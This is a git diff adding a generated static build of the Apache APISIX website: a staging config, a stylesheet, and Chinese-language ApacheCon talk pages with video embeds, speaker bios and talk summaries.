zh/docs/apisix/plugins/limit-conn/index.html | 1403 ++++++++++
zh/docs/apisix/plugins/limit-count/index.html | 1825 +++++++++++++
zh/docs/apisix/plugins/limit-req/index.html | 877 ++++++
zh/docs/apisix/plugins/log-rotate/index.html | 114 +
zh/docs/apisix/plugins/loggly/index.html | 232 ++
zh/docs/apisix/plugins/loki-logger/index.html | 445 +++
zh/docs/apisix/plugins/mcp-bridge/index.html | 72 +
zh/docs/apisix/plugins/mocking/index.html | 233 ++
zh/docs/apisix/plugins/mqtt-proxy/index.html | 315 +++
zh/docs/apisix/plugins/multi-auth/index.html | 305 +++
zh/docs/apisix/plugins/node-status/index.html | 109 +
zh/docs/apisix/plugins/oas-validator/index.html | 219 ++
zh/docs/apisix/plugins/ocsp-stapling/index.html | 114 +
zh/docs/apisix/plugins/opa/index.html | 1009 +++++++
zh/docs/apisix/plugins/openfunction/index.html | 163 ++
zh/docs/apisix/plugins/openid-connect/index.html | 962 +++++++
zh/docs/apisix/plugins/opentelemetry/index.html | 325 +++
zh/docs/apisix/plugins/openwhisk/index.html | 172 ++
zh/docs/apisix/plugins/prometheus/index.html | 888 ++++++
zh/docs/apisix/plugins/proxy-buffering/index.html | 87 +
zh/docs/apisix/plugins/proxy-cache/index.html | 838 ++++++
zh/docs/apisix/plugins/proxy-control/index.html | 80 +
zh/docs/apisix/plugins/proxy-mirror/index.html | 226 ++
zh/docs/apisix/plugins/proxy-rewrite/index.html | 493 ++++
zh/docs/apisix/plugins/public-api/index.html | 462 ++++
zh/docs/apisix/plugins/real-ip/index.html | 515 ++++
zh/docs/apisix/plugins/redirect/index.html | 174 ++
.../apisix/plugins/referer-restriction/index.html | 120 +
zh/docs/apisix/plugins/request-id/index.html | 1139 ++++++++
.../apisix/plugins/request-validation/index.html | 1023 +++++++
zh/docs/apisix/plugins/response-rewrite/index.html | 343 +++
zh/docs/apisix/plugins/rocketmq-logger/index.html | 461 ++++
zh/docs/apisix/plugins/saml-auth/index.html | 221 ++
zh/docs/apisix/plugins/server-info/index.html | 110 +
zh/docs/apisix/plugins/serverless/index.html | 240 ++
.../apisix/plugins/skywalking-logger/index.html | 355 +++
zh/docs/apisix/plugins/skywalking/index.html | 126 +
zh/docs/apisix/plugins/sls-logger/index.html | 214 ++
.../apisix/plugins/splunk-hec-logging/index.html | 293 ++
zh/docs/apisix/plugins/syslog/index.html | 393 +++
zh/docs/apisix/plugins/tcp-logger/index.html | 243 ++
.../apisix/plugins/tencent-cloud-cls/index.html | 265 ++
zh/docs/apisix/plugins/traffic-label/index.html | 157 ++
zh/docs/apisix/plugins/traffic-split/index.html | 1552 +++++++++++
zh/docs/apisix/plugins/ua-restriction/index.html | 361 +++
zh/docs/apisix/plugins/udp-logger/index.html | 233 ++
zh/docs/apisix/plugins/uri-blocker/index.html | 112 +
zh/docs/apisix/plugins/wolf-rbac/index.html | 216 ++
zh/docs/apisix/plugins/workflow/index.html | 829 ++++++
zh/docs/apisix/plugins/zipkin/index.html | 215 ++
zh/docs/apisix/profile/index.html | 34 +
zh/docs/apisix/pubsub/index.html | 98 +
zh/docs/apisix/pubsub/kafka/index.html | 100 +
zh/docs/apisix/router-radixtree/index.html | 260 ++
zh/docs/apisix/security-threat-model/index.html | 1171 ++++++++
zh/docs/apisix/ssl-protocol/index.html | 281 ++
zh/docs/apisix/status-api/index.html | 50 +
zh/docs/apisix/stream-proxy/index.html | 191 ++
zh/docs/apisix/support-fips-in-apisix/index.html | 41 +
zh/docs/apisix/terminology/api-gateway/index.html | 30 +
.../apisix/terminology/consumer-group/index.html | 80 +
zh/docs/apisix/terminology/consumer/index.html | 139 +
zh/docs/apisix/terminology/credential/index.html | 126 +
zh/docs/apisix/terminology/global-rule/index.html | 41 +
.../apisix/terminology/plugin-config/index.html | 143 +
.../apisix/terminology/plugin-metadata/index.html | 45 +
zh/docs/apisix/terminology/plugin/index.html | 278 ++
zh/docs/apisix/terminology/route/index.html | 85 +
zh/docs/apisix/terminology/router/index.html | 50 +
zh/docs/apisix/terminology/script/index.html | 28 +
zh/docs/apisix/terminology/secret/index.html | 316 +++
zh/docs/apisix/terminology/service/index.html | 86 +
zh/docs/apisix/terminology/upstream/index.html | 208 ++
.../tutorials/add-multiple-api-versions/index.html | 142 +
.../tutorials/cache-api-responses/index.html | 149 ++
.../tutorials/client-to-apisix-mtls/index.html | 262 ++
zh/docs/apisix/tutorials/expose-api/index.html | 80 +
zh/docs/apisix/tutorials/health-check/index.html | 369 +++
zh/docs/apisix/tutorials/keycloak-oidc/index.html | 287 ++
.../tutorials/manage-api-consumers/index.html | 192 ++
.../tutorials/monitor-api-health-check/index.html | 139 +
.../apisix/tutorials/observe-your-api/index.html | 147 +
zh/docs/apisix/tutorials/protect-api/index.html | 92 +
.../tutorials/websocket-authentication/index.html | 89 +
.../upgrade-guide-from-2.15.x-to-3.0.0/index.html | 380 +++
zh/docs/apisix/wasm/index.html | 77 +
zh/docs/apisix/xrpc/index.html | 183 ++
zh/docs/apisix/xrpc/redis/index.html | 165 ++
zh/docs/docker/build/index.html | 46 +
zh/docs/docker/example/index.html | 82 +
zh/docs/docker/manual/index.html | 71 +
zh/docs/general/blog/index.html | 143 +
zh/docs/general/committer-guide/index.html | 56 +
zh/docs/general/contributor-guide/index.html | 105 +
.../general/documentation-style-guide/index.html | 140 +
.../index.html | 218 ++
.../events/2023-apisix-meetup-malaysia/index.html | 82 +
.../events/2023-apisix-meetup-singapore/index.html | 56 +
.../index.html | 97 +
zh/docs/general/events/index.html | 1 +
zh/docs/general/how-to-contribute/index.html | 107 +
zh/docs/general/join/index.html | 34 +
zh/docs/general/release-guide/index.html | 241 ++
zh/docs/general/security/index.html | 4 +
zh/docs/general/submit-issue/index.html | 21 +
.../go-plugin-runner/developer-guide/index.html | 25 +
.../go-plugin-runner/getting-started/index.html | 252 ++
zh/docs/helm-chart/FAQ/index.html | 41 +
zh/docs/helm-chart/apisix-dashboard/index.html | 43 +
.../apisix-ingress-controller/index.html | 49 +
zh/docs/helm-chart/apisix/index.html | 42 +
zh/docs/index.html | 1 +
zh/docs/ingress-controller/FAQ/index.html | 42 +
.../concepts/deployment-architecture/index.html | 26 +
.../concepts/gateway-api/index.html | 183 ++
.../concepts/resources/index.html | 72 +
zh/docs/ingress-controller/configure/index.html | 38 +
.../ingress-controller/developer-guide/index.html | 67 +
.../getting-started/configure-routes/index.html | 131 +
.../get-apisix-ingress-controller/index.html | 79 +
.../getting-started/key-authentication/index.html | 182 ++
.../getting-started/load-balancing/index.html | 178 ++
.../getting-started/rate-limiting/index.html | 154 ++
zh/docs/ingress-controller/install/index.html | 76 +
zh/docs/ingress-controller/overview/index.html | 112 +
.../annotation/index.html | 780 ++++++
.../api-reference/index.html | 2831 ++++++++++++++++++++
.../configuration-file/index.html | 69 +
.../configuration-troubleshoot/index.html | 22 +
.../apisix-ingress-controller/examples/index.html | 761 ++++++
.../ingress-controller/upgrade-guide/index.html | 183 ++
.../java-plugin-runner/deployment-guide/index.html | 42 +
zh/docs/java-plugin-runner/development/index.html | 153 ++
.../java-plugin-runner/hot-reloading/index.html | 52 +
zh/docs/java-plugin-runner/how-it-works/index.html | 77 +
.../installation-guide/index.html | 83 +
.../index.html | 83 +
.../developer-guide/index.html | 114 +
.../getting-started/index.html | 102 +
zh/downloads/index.html | 1 +
zh/edit/index.html | 4 +
zh/events/archive/index.html | 1 +
zh/index.html | 1 +
.../api-gateway-authentication/index.html | 115 +
.../api-gateway-for-microservices/index.html | 105 +
.../api-gateway-rate-limiting/index.html | 119 +
zh/learning-center/api-gateway-security/index.html | 91 +
.../api-gateway-vs-load-balancer/index.html | 165 ++
.../api-monetization-guide/index.html | 121 +
zh/learning-center/apisix-vs-apigee/index.html | 109 +
.../apisix-vs-aws-api-gateway/index.html | 108 +
zh/learning-center/apisix-vs-envoy/index.html | 102 +
zh/learning-center/apisix-vs-kong/index.html | 151 ++
zh/learning-center/apisix-vs-nginx/index.html | 110 +
zh/learning-center/apisix-vs-traefik/index.html | 102 +
zh/learning-center/archive/index.html | 1 +
zh/learning-center/index.html | 1 +
.../kubernetes-api-gateway/index.html | 143 +
.../mcp-protocol-ai-gateway/index.html | 66 +
.../open-source-api-gateway-comparison/index.html | 147 +
zh/learning-center/page/2/index.html | 1 +
zh/learning-center/tags/ai-agents/index.html | 1 +
zh/learning-center/tags/ai-gateway/index.html | 1 +
zh/learning-center/tags/api-gateway/index.html | 1 +
zh/learning-center/tags/api-management/index.html | 1 +
.../tags/api-monetization/index.html | 1 +
zh/learning-center/tags/apigee/index.html | 1 +
zh/learning-center/tags/apisix/index.html | 1 +
zh/learning-center/tags/architecture/index.html | 1 +
zh/learning-center/tags/authentication/index.html | 1 +
zh/learning-center/tags/aws-api-gateway/index.html | 1 +
zh/learning-center/tags/best-practices/index.html | 1 +
zh/learning-center/tags/business/index.html | 1 +
zh/learning-center/tags/comparison/index.html | 1 +
zh/learning-center/tags/concepts/index.html | 1 +
zh/learning-center/tags/envoy/index.html | 1 +
zh/learning-center/tags/gateway-api/index.html | 1 +
zh/learning-center/tags/grpc/index.html | 1 +
zh/learning-center/tags/index.html | 1 +
.../tags/ingress-controller/index.html | 1 +
zh/learning-center/tags/kong/index.html | 1 +
zh/learning-center/tags/kubernetes/index.html | 1 +
zh/learning-center/tags/llm/index.html | 1 +
zh/learning-center/tags/load-balancer/index.html | 1 +
zh/learning-center/tags/mcp/index.html | 1 +
zh/learning-center/tags/microservices/index.html | 1 +
zh/learning-center/tags/mtls/index.html | 1 +
zh/learning-center/tags/nginx/index.html | 1 +
zh/learning-center/tags/open-source/index.html | 1 +
zh/learning-center/tags/protocols/index.html | 1 +
zh/learning-center/tags/rate-limiting/index.html | 1 +
zh/learning-center/tags/security/index.html | 1 +
zh/learning-center/tags/tls/index.html | 1 +
zh/learning-center/tags/traefik/index.html | 1 +
zh/learning-center/tags/traffic-control/index.html | 1 +
.../what-is-an-api-gateway/index.html | 190 ++
zh/learning-center/what-is-grpc/index.html | 181 ++
zh/learning-center/what-is-mutual-tls/index.html | 131 +
zh/plugins/index.html | 1 +
zh/sitemap.xml | 1 +
zh/team/index.html | 1 +
1373 files changed, 227454 insertions(+)
diff --git a/.asf.yaml b/.asf.yaml
new file mode 100644
index 00000000000..783ad5d79ce
--- /dev/null
+++ b/.asf.yaml
@@ -0,0 +1,6 @@
+# Staging config for this preview branch — see .asf.yaml on master and
+# https://github.com/apache/infrastructure-asfyaml (autostage section).
+staging:
+ profile: ~
+ whoami: asf-staging
+ autostage: preview/*
diff --git a/_astro/Base.HdXdTx_R.css b/_astro/Base.HdXdTx_R.css
new file mode 100644
index 00000000000..5afb8b57c68
--- /dev/null
+++ b/_astro/Base.HdXdTx_R.css
@@ -0,0 +1 @@
+:root{--color-primary: #e8433e;--color-primary-dark: #9a2521;--color-text: #1c1e21;--color-text-soft: #525860;--color-surface: #fff;--color-surface-alt: #f8f8fa;--color-border: #eaecef;--color-code-bg: #f6f7f8;--font-sans: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif;--font-mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, monospace;--max-width: 1140px;--header-height: 60px}*{box-sizing:border-box}html{-webkit-text-size-adjust:100%;scroll-padd [...]
diff --git a/ai-gateway/index.html b/ai-gateway/index.html
new file mode 100644
index 00000000000..0ff47be7d36
--- /dev/null
+++ b/ai-gateway/index.html
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>AI Gateway | Apache APISIX</title><meta name="description" content="Use Apache APISIX as an AI gateway: LLM proxying, load balancing, token rate limiting, and prompt security."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/ai-gateway/"><link rel="alternate" hreflang="en" href="https://apisix.apache.org/ai [...]
\ No newline at end of file
diff --git a/articles/Apache-APISIX-From-OpenSource-Commercialization-by-Apache-Way/index.html b/articles/Apache-APISIX-From-OpenSource-Commercialization-by-Apache-Way/index.html
new file mode 100644
index 00000000000..366a183c780
--- /dev/null
+++ b/articles/Apache-APISIX-From-OpenSource-Commercialization-by-Apache-Way/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>按照 Apache Way 运作开源商业化公司,这行得通吗? | Apache APISIX</title><meta name="description" content="Apache Way 是被无数开源项目证实的社区成功之道,那么对于开源商业公司而言,Apache Way 是否可行呢?它在商业社会是否行得通? 通过 2 年开源商业公司的经营,支流科技希望用公司的切身经历来回答这个问题。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/Apache-APISIX-From-OpenSource-Commercialization-by- [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=419965108&bvid=BV193411q7GW&cid=392832870&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>温铭,Apache 基金会 Member,Apache APISIX PMC 主席,<a href="https://api7.ai/">支流科技</a>联合创始人。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>Apache Way 是被无数开源项目证实的社区成功之道,那么对于开源商业公司而言,Apache Way 是否可行呢?它在商业社会是否行得通? 通过 2 年开源商业公司的经营,支流科技希望用公司的切身经历来回答这个问题。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Apache-APISIX-From-OpenSource-Commercialization/index.html b/articles/Apache-APISIX-From-OpenSource-Commercialization/index.html
new file mode 100644
index 00000000000..dce229b1c7d
--- /dev/null
+++ b/articles/Apache-APISIX-From-OpenSource-Commercialization/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX 从开源项目到商业化之路 | Apache APISIX</title><meta name="description" content="Apache APISIX 从开源项目到商业化之路."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/Apache-APISIX-From-OpenSource-Commercialization/"><link rel="alternate" hreflang="en" href="https://apisix.apache.org/articles/Apache-APISIX [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=207324216&bvid=BV1yh411B7DH&cid=387693638&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>温铭,Apache Member,Apache APISIX PMC 主席,<a href="https://api7.ai/">支流科技</a>联合创始人。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>Apache APISIX 从开源项目到商业化之路。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Apache-APISIX-Incubator-Journey/index.html b/articles/Apache-APISIX-Incubator-Journey/index.html
new file mode 100644
index 00000000000..441659d3dc0
--- /dev/null
+++ b/articles/Apache-APISIX-Incubator-Journey/index.html
@@ -0,0 +1,8 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX 的孵化器之旅 | Apache APISIX</title><meta name="description" content="Apache APISIX 的孵化过程。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/Apache-APISIX-Incubator-Journey/"><link rel="alternate" hreflang="en" href="https://apisix.apache.org/articles/Apache-APISIX-Incubator-Journey/"><link [...]
+<h2 id="分享人简介">分享人简介</h2>
+<p>温铭,Apache Member,Apache APISIX PMC 主席,<a href="https://api7.ai/">支流科技</a>联合创始人。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>Apache APISIX 的孵化过程。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Apache-APISIX-Kubernetes-Ingress/index.html b/articles/Apache-APISIX-Kubernetes-Ingress/index.html
new file mode 100644
index 00000000000..3aaaa06d579
--- /dev/null
+++ b/articles/Apache-APISIX-Kubernetes-Ingress/index.html
@@ -0,0 +1,10 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>基于 Apache APISIX 的 Kubernetes Ingress 的实现 | Apache APISIX</title><meta name="description" content="介绍基于 Apache APISIX 的 Kubernetes Ingress 的优势以及 Apache APISIX Ingress 的特点。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/Apache-APISIX-Kubernetes-Ingress/"><link rel="alternate" hreflang="en" href="h [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=632600503&bvid=BV1Wb4y1m76g&cid=394698230&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>金卫,Apache APISIX PMC / Apache apisix-ingress-controller Founder / Apache Skywalking Committer。</p>
+<p>领导 Apache <a href="https://github.com/apache/apisix-ingress-controller">apisix-ingress-controller</a> 项目。参与对 Apache APISIX / Apache Skywalking 等项目的贡献。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>介绍基于 Apache APISIX 的 Kubernetes Ingress 的优势以及 Apache APISIX Ingress 的特点。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Apache-APISIX-in-China-Mobile-Cloud/index.html b/articles/Apache-APISIX-in-China-Mobile-Cloud/index.html
new file mode 100644
index 00000000000..2dbdcd64d47
--- /dev/null
+++ b/articles/Apache-APISIX-in-China-Mobile-Cloud/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX 在移动云对象存储 EOS 的应用与实践 | Apache APISIX</title><meta name="description" content="该演讲主题主要是讲述 Apache APISIX 在中国移动公有云对象存储 EOS 中的应用与实践经验分享。首先介绍了中国移动公有云建设规划及对象存储产品发展演进历程,然后阐述了我们为什么选择 APISIX 作为负载均衡网关,并对 EOS 流量治理架构演进三个阶段进行进行了详细介绍。同时,我们还分享了基于 APISIX 我们解决了哪些实际生产问题,做了哪些方案及开发工作,最后对我们未来的演进做了一些规划说明。"><meta name="robots" content="index,follow"><link rel="cano [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=717552749&bvid=BV1FQ4y117N9&cid=394700211&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>陈焱山,毕业后一直从事分布式存储软件开发及架构方案设计工作,深度参与了移动云建设过程,重点完成了对象存储相关的主要技术方案选型及落地开发建设工作。同时在分布式对象存储领域拥有丰富的实战经验,目前正在思考基于 APISIX 七层网关实现对象存储流量治理工作,实现架构进一步升级。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>该演讲主题主要是讲述 Apache APISIX 在中国移动公有云对象存储 EOS 中的应用与实践经验分享。首先介绍了中国移动公有云建设规划及对象存储产品发展演进历程,然后阐述了我们为什么选择 APISIX 作为负载均衡网关,并对 EOS 流量治理架构演进三个阶段进行进行了详细介绍。同时,我们还分享了基于 APISIX 我们解决了哪些实际生产问题,做了哪些方案及开发工作,最后对我们未来的演进做了一些规划说明。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/How-To-Extend-Apache-APISIX-into-a-Service-Mesh-Sidecar/index.html b/articles/How-To-Extend-Apache-APISIX-into-a-Service-Mesh-Sidecar/index.html
new file mode 100644
index 00000000000..c4d517252bd
--- /dev/null
+++ b/articles/How-To-Extend-Apache-APISIX-into-a-Service-Mesh-Sidecar/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>如何将 Apache APISIX 扩展为一个服务网格的边车 | Apache APISIX</title><meta name="description" content="在这个主题中将介绍 apisix-mesh-agent 项目,它有一些能力将 Apache APISIX 扩展为服务网格场景中的边车程序,更重要的是,它使用 xDS 协议从 Istio、Kuma 等控制平面获取配置。之后,我将介绍关于在服务网中使用 Apache APISIX 的未来计划和期望。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/How-To-Extend [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=932594160&bvid=BV16M4y1V7ZW&cid=394694138&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>张超,Apache APISIX PMC,OpenResty 贡献者,开源爱好者,现在我正在研究 Service Mesh、Kubernetes 和 API Gateway。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>在这个主题中,我将介绍 <a href="https://github.com/api7/apisix-mesh-agent">apisix-mesh-agent</a> 项目,它有一些能力将 Apache APISIX 扩展为服务网格场景中的边车程序,更重要的是,它使用 xDS 协议从 Istio、Kuma 等控制平面获取配置。之后,我将介绍关于在服务网中使用 Apache APISIX 的未来计划和期望。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Relying-On-The-Community-To-Get-Apache-APISIX-Up-Speed/index.html b/articles/Relying-On-The-Community-To-Get-Apache-APISIX-Up-Speed/index.html
new file mode 100644
index 00000000000..a672fdefbd2
--- /dev/null
+++ b/articles/Relying-On-The-Community-To-Get-Apache-APISIX-Up-Speed/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>依托社区让 Apache APISIX 高速发展 | Apache APISIX</title><meta name="description" content="在过去的一年里,APISIX 已经成为全世界最活跃的 API 网关项目,除了自身技术先进外,更得意于社区的高度活跃。截止目前,已经有来自世界各地 225 位贡献者参与贡献,并且还在保持高速增长。 本次分享会介绍 APISIX 在践行“社区重于代码”过程的一些心得。作为一个理想主义创业者,又是如何与 Apache 文化结合,让创业公司也能高速发展。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/ar [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=762343193&bvid=BV1Q64y1Y7fF&cid=388411338&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>王院生,开源爱好者 Apache APISIX 创始人和 PMC 成员</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>在过去的一年里,APISIX 已经成为全世界最活跃的 API 网关项目,除了自身技术先进外,更得意于社区的高度活跃。截止目前,已经有来自世界各地 225 位贡献者参与贡献,并且还在保持高速增长。 本次分享会介绍 APISIX 在践行“社区重于代码”过程的一些心得。作为一个理想主义创业者,又是如何与 Apache 文化结合,让创业公司也能高速发展。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Rendering-Community-Events-Using-ECharts/index.html b/articles/Rendering-Community-Events-Using-ECharts/index.html
new file mode 100644
index 00000000000..3114ccede64
--- /dev/null
+++ b/articles/Rendering-Community-Events-Using-ECharts/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>使用 ECharts 呈现社区活动的渲染图 | Apache APISIX</title><meta name="description" content="通过以下方式分析了开源资源库的情况:1.贡献者增长曲线;2.每月的贡献者活动,来反映开源项目的健康状况,这里我们分享一些关于如何制作这两张图的经验和一些有趣的事情。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/Rendering-Community-Events-Using-ECharts/"><link rel="alternate" hreflang="en" href="htt [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=847253062&bvid=BV1fL4y1Y7rf&cid=388393914&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>孙毅,Apache APISIX committer,<a href="https://github.com/apache/apisix">apache/apisix</a> 的提交者。主要负责维护 <a href="https://github.com/apache/apisix-dashboard">apache/apisix-dashboard</a> 和 <a href="https://github.com/apache/apisix-website">apisix-website</a>。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>我们通过以下方式分析了开源资源库的情况:1.<a href="https://github.com/api7/contributor-graph">贡献者增长曲线</a>;2.每月的贡献者活动,来反映开源项目的健康状况,这里我们分享一些关于如何制作这两张图的经验和一些有趣的事情。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
